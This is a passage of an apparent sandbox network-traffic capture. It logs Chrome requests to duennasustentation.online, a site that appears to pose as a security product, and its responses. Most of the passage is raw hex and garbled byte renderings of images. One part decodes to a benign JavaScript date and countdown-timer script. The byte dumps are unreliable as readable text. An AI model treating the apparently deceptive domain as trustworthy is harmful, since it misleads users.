stEvt:instanceID="xmp.iid:a977b8d4-4488-b54f-b959-d08dbb008732" stEvt:when="2022-06-28T22:14:56+08:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: fd e5 0f f6 f9 cf f8 f2 47 bc 7c 96 52 d8 1f 7c fb 85 bf fe 2b 7f fb 6f fa fd 2f b2 7d a3 6f 88 9e 67 0d 08 88 88 b9 ee 73 ed 23 00 cf 6b 1c f7 27 40 42 10 8c 90 00 23 e0 f9 7e 77 38 e8 80 e7 fa 1d 4b 3c 02 c8 a3 c1 a8 1b d7 5f f9 e9 bf e2 eb 7f 8e d7 ff b6 97 6f bb 3f 9a bb 39 18 42 92 12 08 33 6f ad 6f 7b db 5b 23 a9 2a 20 72 0f 7a 44 ee ee 30 67 2e 26 b2 aa 94 52 8a ea 78 34 e1 88 3c 33 20 d0 cc b6 ad dd b7 c7 63 db ad 9b 0a d7 a5 d6 5a 10 70 37 33 8b 08 11 a9 b5 d6 ba 94 5a 45 95 42 78 78 04 41 2d aa 45 49 89 88 6e d6 da be 3d b6 6d df dc 63 59 ea cb e5 b2 ac 4b 51 01 88 70 f3 40 78 78 cc 33 89 b1 af a6 a1 12 d5 61 d7 90 0b df d2 b2 88 88 6a 91 52 f2 2e 47 84 99 99 d9 b1 9d cc ad 9b f5 de cd 2c cd 0b 89 52 74 d8 4b 91 b4 3c 24 d3 a2 b5 de 5b 6b 66 46 Data Ascii: G\|R\|+o/}ogs#k'@B#~w8K<_o?9B3oo{[#* rzD0g.&Rx4<3 cZp73ZEBxxA-EIn=mcYKQp@xx3ajR.G,RtK<$[kfF
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 08 dd db f6 d8 1f 0f b7 1e e1 44 70 fe 4e de 80 19 30 4e 68 3a 5e 13 45 f3 56 c4 87 90 f8 c7 cb 1d be cc 0c 1d 9f 77 e6 dc d9 01 f7 08 c7 c4 1a 9e 9b 21 9e fe 1e cf 79 6e fb 70 f3 11 04 90 e8 c5 db d6 4b 6d 82 e8 8f f5 f1 ab 3d de d1 77 ba 49 84 4c f8 1f 7e c0 e1 9c cc 67 c9 e9 19 fd cf 03 64 9e d8 58 53 11 47 20 9a 10 e9 e6 6c 1b f6 07 7b 47 bd 70 79 e1 f2 c2 fd 46 61 d4 0b ea 95 ba 44 10 ad 53 1a 28 14 e5 f5 93 68 44 df 41 89 72 61 00 d6 d3 d7 89 e8 ec 0f d9 de 78 fb 55 de 7f e6 db 2f 6c 0f aa 46 fd 1c 75 89 e5 ca f5 95 f5 85 cb 0b 96 95 65 81 08 e0 ba 7f c3 ad b1 6d 6c 77 ec 37 ee 37 ec 37 f6 87 f4 86 30 84 1f 57 c2 f3 fe e4 05 cc 0d f6 7c b1 31 7f 7a 2c e0 74 1d 23 32 6e 1b 30 79 3e b2 04 aa e3 d9 45 44 37 df 5b 7b 6c 9d bb 7b 37 b5 98 81 bd 00 21 c7 Data Ascii: DpN0Nh:^EVw!ynpKm=wIL~gdXSG l{GpyFaDS(hDAraxU/lFuemlw7770W\|1z,t#2n0y>ED7[{l{7!
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: c7 07 04 c6 33 e2 1d 11 d3 fc d9 13 09 10 11 11 82 f0 91 21 00 64 ac 7b 01 22 34 4a a9 b5 2e 5e 57 89 08 ef 40 78 b7 b1 33 33 ba d4 02 c0 bb 0d 10 3a 2e f3 09 e5 30 d3 65 55 f4 65 bd 3c 2e 97 f7 5a 6e ee d6 36 6f 9b 00 45 45 44 49 c6 91 ee 4d 00 38 42 f5 88 dc f9 94 7c 76 e9 96 66 24 3e 83 3f 11 8a 0c 1f 6f 46 78 cc 37 fb 20 81 f3 cd 2a 22 83 13 88 79 ce 44 08 44 d2 90 8d db 3b bc ee 11 16 f8 e1 57 bb 77 33 eb 1e e1 22 da 6b e9 a5 ba 40 6d db ec de fa ee 66 19 98 7e 74 b1 e3 19 08 7f f8 d1 84 c2 93 45 3e 22 fc e7 e0 f8 47 9f 7d 82 f7 f1 ab 8c 80 ed b1 df 63 bf e3 35 70 f9 1c a4 ad af 12 8e e5 82 eb 17 5c bf 70 b9 32 3a 1e bf b1 6d 68 77 d8 46 38 a5 90 05 2c 20 22 0c de 60 1b da 86 be b3 77 84 87 5e 62 f9 84 7a 61 5d b1 5c 51 17 68 01 18 6e e8 3b da 03 ed Data Ascii: 3!d{"4J.^W@x33:.0eUe<.Zn6oEEDIM8B\|vf$>?oFx7 *"yDD;Ww3"k@mf~tE>"G}c5p\p2:mhwF8, "`w^bza]\Qhn;
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: b3 e8 dd 2d 31 f2 f8 a0 91 ad 07 80 3c bf 5c c9 25 e9 41 32 f9 46 9f 65 62 f9 68 84 32 29 de 20 83 cf d0 98 20 84 00 2c e0 01 43 be 67 dc 18 02 08 79 4a 27 04 c2 dc dd 99 8c a8 1c fe 3f 13 53 73 73 45 9c c4 ce 41 a2 cc 5c 47 24 1f b0 d4 65 59 96 92 e5 73 91 a0 4b 9b 8f 00 c9 67 61 ec 1e 1f 47 4b e4 0c 77 e1 2c 27 43 64 19 63 04 11 f0 20 02 8a 49 51 46 84 85 0f 9c 8d 70 37 b7 9e b4 39 54 59 0b 31 d2 39 cc ad 31 a3 fe e4 d9 18 63 3f 65 3d 40 7a 42 93 01 1c d7 36 0c 7e 44 0c 66 db 26 62 cf 50 fa bf fb 7a 72 32 9f 83 a4 ff c5 d7 08 7c 48 d1 90 05 cb d5 97 4f be bc 46 b9 a0 ac 78 f9 8a f5 33 a0 e1 3d 7a 47 df d0 ee 7c 6c dc de b9 bd a1 dd 69 1b dd 40 81 00 0c 88 60 22 14 75 89 ba 62 fd 84 cb 67 5c bf 60 79 0d 5d 01 09 37 f6 9d ed 01 6f 4c c4 a1 a2 2c a4 8e ec Data Ascii: -1<\%A2Febh2) ,CgyJ'?SssEA\G$eYsKgaGKw,'Cdc IQFp79TY191c?e=@zB6~Df&bPzr2\|HOFx3=zG\|li@`"ubg\`y]7oL,
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 73 f7 c6 c1 a3 66 c6 35 82 e6 d1 bb 77 8f e3 fb 47 a4 34 01 52 84 0c 17 84 47 58 ef 22 e4 28 7c cd 5d 83 93 ba 48 6c 91 d1 1d f9 94 9f 49 b4 49 32 32 0c ee c2 60 21 29 9e ef 1b 5c 4f 6b fb b6 6d f7 fd f1 e8 6d 0f 37 15 46 14 32 54 a4 f7 5e 54 83 cc 15 7f 7e ec a0 7c 86 85 8a b9 48 e8 91 ee 58 2d 9a b9 f4 2e f4 08 b3 6e 86 50 81 a8 a8 4c 90 9a ec 69 3a 73 1c 84 f6 e9 ea 1d d9 9d f0 08 6b bd 8b 8a 68 11 d5 a4 61 83 18 8f 0f 31 5b d4 e0 1e 16 dd dc cc a4 8c 12 dd 42 15 1c d5 73 6e e1 36 ad 9b 5b 66 1c 2d 13 42 54 08 45 67 ec eb dd 2d 5a 40 bd 16 92 2e d9 59 34 ac fd ff 30 2e e4 ef be 00 3e e0 09 9f be 83 1f be f3 e1 b7 44 51 2f 78 fd 89 7f f8 77 fc fc 8f bc 7c c6 fa 09 d7 af d0 85 47 32 97 02 2d 2c 17 50 50 57 78 0f 64 97 05 91 37 28 2b f2 b2 a3 08 80 90 5a Data Ascii: sf5wG4RGX"(\|]HlII22`!)\Okmm7F2T^T~\|HX-.nPLi:skha1[Bsn6[f-BTEg-Z@.Y40.>DQ/xw\|G2-,PPWxd7(+Z
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 4b e0 70 d9 3c 89 50 0b 33 37 8f 0c 2b 1b 45 45 36 e5 de d8 9b 5a 2b d6 aa bd 96 eb 2a 35 11 96 1f 4c c2 5c 53 98 1e 8a 30 99 db 08 b3 74 f1 a6 b1 e5 5c e5 c9 b3 80 ae ea 50 40 fd e9 48 d3 35 1b c4 c5 61 92 40 1c 35 34 47 7e 6c 18 a4 29 31 23 02 28 9d e2 10 03 84 88 74 49 f6 7d df 1f fb fe d8 f7 cd f6 dd c3 85 ec d6 cc 9a 7b 4f e7 6a 29 65 3a e3 c7 e6 3c e9 9a 81 93 11 11 33 e9 11 71 74 ef cf 62 98 c8 20 2d 3c 4a 04 45 1d d1 3d 9a 99 bb 97 6c 99 56 21 65 38 25 ee 04 4d 22 7b 6f 22 a2 87 8d b6 1c cf d0 1b 52 6a 7a 3c 87 3b 4c 64 69 88 bb 45 37 43 44 77 af 81 80 14 88 04 b3 3c 95 31 04 53 72 89 77 77 0b 33 8f cc d3 e1 28 5b 80 77 b3 b6 ef ad 35 15 16 d7 7d a1 15 7b 02 80 ff 99 d7 ef b9 d3 0f 5f 4c 96 ec 6f c6 9a e7 bb 40 0d 59 50 5f 70 f9 c9 2f 3f 79 59 13 Data Ascii: Kp<P37+EE6Z+*5L\S0t\P@H5a@54G~l)1#(tI}{Oj)e:<3qtb -<JE=lV!e8%M"{o"Rjz<;LdiE7CDw<1Srww3([w5}{_Lo@YP_p/?yY
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 49 24 ae 25 f7 e6 3c b2 c6 47 a1 69 76 63 1e 00 19 f0 80 23 ab 19 c2 47 86 02 b3 b4 89 84 a8 a0 10 6a f0 9d fd ae ad 2c a6 25 42 a0 13 b3 c7 52 c0 a0 ea 87 bd 1a 1f 0c 20 cc d9 3b cc e0 00 04 aa a1 0b ca 12 5a 5d 4a 96 ff 65 e7 07 47 9d b2 1f 1c d2 5c 6e c7 b2 9b 24 c1 21 1d f2 e4 af 73 9e 08 11 08 0e 32 28 38 04 32 c3 7b eb 96 e2 4e bd f5 de dc 5a ba a8 70 84 9b 10 7d 6d 31 0a cd 25 34 d9 96 cc 76 32 d1 31 e3 f9 79 a7 e3 a9 7f 9f 07 a6 46 32 18 14 20 3c cf c5 31 2b 09 06 93 93 e9 d2 49 17 a5 dd 19 14 86 27 fb 94 97 92 f0 6f 6e 34 b2 0b 52 74 4a 09 c1 60 8e 4d e1 99 71 8e 08 0b a7 79 37 17 0b 48 58 44 86 b1 04 a9 83 2a 38 0a f3 21 d9 96 00 0b 73 73 b3 1e 61 83 44 89 68 3d 76 61 93 ee 65 ea 09 8d fd 3e 12 42 cf b6 e0 6f 33 b0 ff 4b 2f 72 3e 5c 1e 4f 73 78 Data Ascii: I$%<Givc#Gj,%BR ;Z]JeG\n$!s2(82{NZp}m1%4v21yF2 <1+I'on4RtJ`Mqy7HXD*8!ssaDh=vae>Bo3K/r>\Osx
2025-01-08 14:44:36 UTC	711	IN	Data Raw: 53 bf 33 d5 7d cd bc f5 ee e6 a2 65 5d 2f 2f 2f af 97 eb 55 54 53 7e bd bc 5e d7 a5 48 2d 7a 59 d7 f4 02 84 58 ab ac 4b 59 17 ad 25 0d 6b 66 40 95 a2 80 38 24 20 21 55 33 e5 8a ea a6 bd d5 bd ed 8f 66 8f dd 1f 2d 5a 1f 35 3d 93 c1 1e 20 ab a5 2c cb 7a b9 5c b4 54 8b d2 8d 3d 6b 79 70 b8 ad 14 41 c6 d4 9c 95 48 e4 e0 8c 26 58 72 f2 6a 33 75 37 68 a0 bc 71 67 96 30 7f 2b 13 a1 ca 50 c1 a2 b6 d6 be 2e ac 85 2a fc 60 0d f2 b0 47 00 7f a4 07 ba 75 7f b4 ed 7b 7f fb 1e db 1e ee 2e d5 96 17 bf 7c b5 eb 4f b6 7e f1 7a 09 ad a2 2a 9e ea 42 03 20 79 58 bc 8f 01 cb 3c ff 23 54 44 0c dd f3 19 5b 4e 51 d3 88 6c 05 1c 77 20 a6 c2 aa e5 fe 6b 7b 58 27 21 53 18 76 78 0a 40 d6 3d 73 b6 8b a5 04 45 62 e4 68 9b 19 b9 0c 90 0c 37 95 94 1f 58 6a 5d 4a 29 5e 8b 08 66 4f f0 e8 Data Ascii: S3}e]///UTS~^H-zYXKY%kf@8$ !U3f-Z5= ,z\T=kypAH&Xrj3u7hqg0+P.`Gu{.\|O~zB yX<#TD[NQlw k{X'!Svx@=sEbh7Xj]J)^fO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49735	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	421	OUT	GET /js/datehead.js HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1065	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: application/javascript Content-Length: 2457 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293d-999" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:16:45 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zZ%2B92jddpsPUNbx81dsjUlht%2Bob%2FUos9GgpkGzkEgEfjTONMnixZPcRNs9Ni%2Fdbhfv%2BfPXeSteg2DMveyD835ULAIRFvQm0IvGsHEnPfE5%2B4MKewN7tzZ0l24pdEH4CwQJxqxIRyDMAqRho%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf769cdbfc409-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1485&rtt_var=575&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=999&delivery_rate=1872995&cwnd=167&unsent_bytes=0&cid=649608afd061e8d0&ts=935&x=0"
2025-01-08 14:44:36 UTC	304	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 64 61 74 65 68 61 78 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 79 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 0d 0a 20 20 20 20 6d 79 64 61 74 65 2e 73 65 74 44 61 74 65 28 6d 79 64 61 74 65 2e 67 65 74 44 61 74 65 28 29 29 3b 0d 0a 20 20 20 20 76 61 72 20 79 65 61 72 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 59 65 61 72 28 29 0d 0a 20 20 20 20 69 66 20 28 79 65 61 72 20 3c 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 76 61 72 20 64 61 79 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 44 61 79 28 29 0d 0a 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 20 3d 20 6d 79 64 61 74 65 2e 67 65 74 4d 6f 6e 74 68 28 29 0d 0a 20 20 20 20 76 61 72 20 64 61 79 6d 20 3d 20 6d 79 64 61 74 65 2e Data Ascii: function datehax() { var mydate = new Date() mydate.setDate(mydate.getDate()); var year = mydate.getYear() if (year < 1000) year += 1900 var day = mydate.getDay() var month = mydate.getMonth() var daym = mydate.
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 20 2b 20 64 61 79 6d 0d 0a 20 20 20 20 76 61 72 20 64 61 79 61 72 72 61 79 20 3d 20 41 72 72 61 79 28 22 53 75 6e 64 61 79 22 2c 20 22 4d 6f 6e 64 61 79 22 2c 20 22 54 75 65 73 64 61 79 22 2c 20 22 57 65 64 6e 65 73 64 61 79 22 2c 20 22 54 68 75 72 73 64 61 79 22 2c 20 22 46 72 69 64 61 79 22 2c 20 22 53 61 74 75 72 64 61 79 22 29 3b 0d 0a 20 20 20 20 20 76 61 72 20 6d 6f 6e 74 68 61 72 72 61 79 20 3d 20 6e 65 77 20 41 72 72 61 79 28 22 4a 61 6e 75 61 72 79 22 2c 20 22 46 65 62 72 75 61 72 79 22 2c 20 22 4d 61 72 63 68 22 2c 20 22 41 70 72 69 6c 22 2c 20 22 4d 61 79 22 2c 20 22 4a 75 6e 65 22 2c 20 22 4a 75 6c 79 22 2c 20 22 41 75 67 75 73 74 22 2c 20 22 53 65 70 74 65 6d 62 65 72 22 2c 20 22 4f 63 74 6f 62 65 72 22 2c 20 22 4e 6f 76 65 6d 62 65 72 22 2c Data Ascii: + daym var dayarray = Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); var montharray = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November",
2025-01-08 14:44:36 UTC	784	IN	Data Raw: 65 61 72 20 3c 20 31 30 30 30 29 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 20 2b 3d 20 31 39 30 30 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 79 65 61 72 20 2b 20 22 22 3b 0d 0a 20 20 20 20 0d 0a 7d 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 54 69 6d 65 72 28 64 75 72 61 74 69 6f 6e 2c 20 64 69 73 70 6c 61 79 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 74 69 6d 65 72 20 3d 20 64 75 72 61 74 69 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 2c 20 73 65 63 6f 6e 64 73 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 20 3d 20 70 61 72 73 65 49 6e 74 28 74 69 6d 65 72 20 2f 20 36 30 2c 20 31 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 65 63 6f 6e Data Ascii: ear < 1000) year += 1900 return year + ""; }function startTimer(duration, display) { var timer = duration, minutes, seconds; setInterval(function() { minutes = parseInt(timer / 60, 10); secon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49734	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	823	OUT	GET /images/f_secure_1.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 9862 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2949-2686" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:16:57 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=256oqISK3O5jJEuCrBNxHXaILvsi%2F6M4G2mHbaawrmfjKC%2BBPc7ZdraMLNZTktGo%2FrSgFVMIWr1DRMAJg9nRCvrGWKp3dLSIdwDS0VPypIaIkvL9oam25bkdLybIOLYcAvSbVDlhGH1sq626"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf769edc90f55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1636&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1401&delivery_rate=1707602&cwnd=156&unsent_bytes=0&cid=ce66f98f83872d6b&ts=950&x=0"
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8a 00 00 00 85 08 03 00 00 00 b3 0f 90 83 00 00 03 00 50 4c 54 45 00 00 00 dd d4 9c f9 f4 d8 b1 a6 34 d0 c8 7a 85 7a 18 e3 db a1 b2 a9 3a dc d6 a4 f6 f2 d2 de d6 97 e5 e0 ab ec e6 bc d1 c7 81 e4 de b2 ef e9 c3 a3 9c 4d c7 bf 6f b7 b2 70 bf b9 81 db d3 8e f0 e9 c9 d0 c8 70 f5 ee cc b9 b1 64 bd b2 4f bb aa 28 8e 86 32 ba b0 57 b5 a8 2e ad a5 30 9c 95 3d b8 af 48 c9 bd 5d be b6 5e cd c9 8c 84 7c 25 bb b1 43 ce c4 65 76 70 21 98 90 2a a8 9d 1c 8c 82 18 aa 9a 22 93 8d 45 9c 93 1d b1 ab 4a c8 bd 51 00 00 00 01 03 01 01 00 05 07 01 01 a8 99 02 03 00 00 8a 80 00 01 00 09 04 05 06 01 06 00 aa 9b 02 0c 04 01 96 8a 01 01 01 0d a8 97 0a a3 99 04 07 07 01 a7 96 02 af 9c 10 ac 9d 02 ff ff fe 03 01 13 a5 91 01 a8 Data Ascii: PNGIHDRPLTE4zz:MoppdO(2W.0=H]^\|%Cevp!*"EJQ
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: ce b0 d1 e8 22 95 76 fd f0 ab 7a a3 83 67 dd 50 56 bb 29 43 bd 86 c3 61 71 a2 39 f1 9b b7 a7 d4 66 be de 40 66 59 e4 2d 43 43 b6 31 a3 46 f5 fc 23 13 ef b0 e0 09 20 f5 f7 01 76 eb 33 df 7b dc 24 86 6d 63 06 79 be c3 2e 72 5d de a1 ad 8e 60 60 18 ca 66 32 31 14 41 01 08 82 61 88 20 ba bc d0 6b a9 7c d0 38 96 2d cc d2 c4 3d 7c 37 4d c4 23 d8 a9 b8 ff d6 50 71 3b 5b 7c e6 82 47 f1 3d 33 d2 91 4d 16 17 9f e8 3e 1a 81 61 30 34 03 c0 89 50 a7 a5 a5 6d 56 af 91 32 18 08 80 8b 30 d4 29 0f 35 c8 8b f5 61 2f c4 ed f5 9f 36 c7 63 ee 7e e7 08 ff 9e 5b 43 c5 38 d2 3f d4 32 6f ae 47 50 88 48 3e b4 77 c7 51 29 cc 03 13 63 a8 b7 6b cb ba 56 26 00 78 bc 84 84 bd 6b 3f 28 29 6c cb e0 60 5c 89 04 43 37 9f 7f b9 21 4f 43 94 06 78 04 0f 0f bb 65 aa a7 e7 de 1a bb 51 2a 9d 7a Data Ascii: "vzgPV)Caq9f@fY-CC1F# v3{$mcy.r]``f21Aa k\|8-=\|7M#Pq;[\|G=3M>a04PmV20)5a/6c~[C8?2oGPH>wQ)ckV&xk?()l`\C7!OCxeQ*z
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 9f 35 b3 50 01 82 47 54 5f 68 7f e5 e5 f0 f0 f0 0f 5e ae 2c 83 0c 01 67 80 93 4b 3f 79 10 63 7d 27 ee dc 5a 73 f0 2c 90 12 20 08 6e ba cc af c4 d9 a8 29 81 f7 d2 99 96 fe d2 16 03 99 b8 60 32 eb 52 6a 54 8e 38 87 45 23 ca 67 53 30 2c 6d 03 7f 6d 23 1d 6c 68 cb 78 2f a7 69 63 f2 e1 9c 63 2c 30 25 06 a7 ba f0 db 1e be 82 20 49 a1 90 20 54 55 1a 22 46 f7 90 b6 80 4e 65 70 41 4d ce 68 f2 81 a6 66 f0 bf 38 ed 9a 39 45 d6 c1 42 54 c2 e8 8e a2 f4 b2 91 ec d2 65 4f eb e6 4c 2a 29 90 8b 8c 22 97 72 70 ec 34 ca e6 64 12 0d d5 0c b0 62 41 7a 32 28 c6 a7 e2 c3 9d 5b 0f a7 33 31 4e 41 e5 ca 18 85 2a c1 71 ef fc c0 00 3f 3f bf d9 01 0b 43 1f b1 26 f1 09 a1 97 29 0d c7 90 f8 c3 39 5f a6 37 83 a6 20 8c 2b e0 71 30 ce e9 2c d9 05 2e 93 e3 d5 d1 21 1f 14 7e f8 fc db 33 26 Data Ascii: 5PGT_h^,gK?yc}'Zs, n)`2RjT8E#gS0,mm#lhx/icc,0% I TU"FNepAMhf89EBTeOL)"rp4dbAz2([31NAq??C&)9_7 +q0,.!~3&
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: a5 59 b5 6d 6d 29 e3 bf f3 29 29 6d 45 0d 9a 60 0f 8f d9 b3 bd 41 72 b2 f0 f5 f5 00 61 6f 0f 4f 72 83 b6 2d 05 d0 d6 46 5f ce 7f 9f af 4b 39 df cb cb 1a 34 8b c6 c6 82 03 26 a4 bd e9 e5 f7 7e a9 67 c8 5a 5f 1f 13 c3 57 28 08 a1 10 92 d5 a4 fa 1e 52 93 45 c4 f0 49 21 c1 57 f1 84 44 76 6c 87 85 22 48 8a 20 f8 7c 62 92 10 aa e8 8c 57 45 ef b9 93 bc 38 32 41 28 84 02 d4 d7 67 55 51 f5 e4 0b 54 7e a2 50 ae 52 51 09 84 90 c7 e3 11 0a c5 02 da f6 ad d9 97 16 5d 5d b4 e8 dd 77 e9 bf 5d f4 f5 d2 ae 77 17 5d bd f4 ee bb 97 16 ed 7a 77 d7 a5 ab 57 2f ed 82 86 5d 8b 76 5d 85 d6 45 93 04 88 bf 7b 15 ae d0 0d 3c 03 1d ee da 05 17 00 74 bc e8 d2 d5 5d 97 e8 b1 e0 18 6f 5b 31 6c 0d 02 2a 7e 9a e1 5c f1 d7 4b be 5e b2 4a bc 84 c6 aa 25 4b 72 96 e4 ae a2 4b d7 40 97 e0 c8 Data Ascii: Ymm)))mE`AraoOr-F_K94&~gZ_W(REI!WDvl"H \|bWE82A(gUQT~PRQ]]w]w]zwW/]v]E{<t]o[1l*~\K^J%KrK@
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 23 c9 26 e4 06 82 31 65 92 80 99 48 cc 65 12 28 21 11 03 04 27 d0 40 c9 14 05 0c 01 52 10 48 66 00 07 32 2d d0 00 22 c8 e9 00 65 18 91 63 98 56 ad 62 6d 2d da 56 6a d5 aa e3 7d 8f 6f 09 41 45 ad c8 54 9d 71 fc 26 d9 dd ff df 97 cd db dd f7 fe e3 bd ef 47 1f 71 f5 13 82 c6 46 1c a7 f2 ca e7 f9 1a f0 ae ec 3c b3 95 4d 30 78 39 03 b5 b9 8f 4c d7 6d 6b 11 e2 0e 0d 38 53 1f 22 c9 c8 4b c9 96 8f 40 9c 04 e4 a5 3c c5 82 5a fb fd 89 fd 94 5f a8 d2 ae 60 0b 71 78 91 90 ed 2a 5f dc 07 69 0b 1e 44 45 a8 cc 0f 7b 11 76 2f 05 7a b6 bc f8 14 73 bc 03 67 d7 50 1a 20 aa 03 8f ad be 9e 8a ee b5 d6 d6 5a 07 08 46 4b 9a 82 81 21 42 21 42 20 12 db f3 9a 44 39 25 2f 35 a3 86 87 41 05 18 1d c1 ab dc 5e 83 50 1d 79 a5 69 71 56 54 b2 d8 b0 63 07 7f 84 c1 40 41 71 c8 4e 2c 98 59 Data Ascii: #&1eHe(!'@RHf2-"ecVbm-Vj}oAETq&GqF<M0x9Lmk8S"K@<Z_`qx*_iDE{v/zsgP ZFK!B!B D9%/5A^PyiqVTc@AqN,Y
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 40 08 49 5b 52 2d 4a cc b2 6c 7f 4e 4e b8 35 8e bf 8f 8d d5 72 8f 2a a0 43 64 53 99 3c 1e 46 30 d8 78 51 fc e6 b0 0d 85 7a 4a 33 73 09 0c c6 3e b8 0c 41 60 87 64 c9 db 64 0c a6 d8 d0 73 c1 9f 06 a1 cf df 9a 9d 8e a3 10 00 7b 11 06 52 98 a4 e2 d3 f0 66 0c 0e f2 eb 26 6e dc 08 e9 72 73 f6 02 8f 01 09 aa 0f 3f b5 3d 87 23 c0 9c 18 35 d7 a0 f4 66 b5 da 7d fb d5 7f 12 82 be f7 d9 6d 4f c6 f6 31 b0 0a ae 8d 89 61 58 ee ae 32 4a 38 13 41 d9 f8 8b bb 5e dd c0 2b ba 6a cf 4c 21 1b ee 64 a4 2d 2f de 36 80 0b d8 85 75 bb 0a 19 48 7d 86 2a d1 70 66 86 65 d8 b9 ef 3e ba 35 2e 76 8c 87 0d d4 25 5b e9 84 f0 91 62 4d fc a7 4c 02 6e 4b 72 db f6 cd 97 fd e5 54 f5 ce ba 4a 44 40 45 89 91 a4 1d cf ef 1c 80 90 dc be d8 51 1e aa 68 2f 33 97 aa 5d 67 4c c5 84 be fb c6 81 ad c9 Data Ascii: @I[R-JlNN5rCdS<F0xQzJ3s>A`dds{Rf&nrs?=#5f}mO1aX2J8A^+jL!d-/6uH}pfe>5.v%[bMLnKrTJD@EQh/3]gL
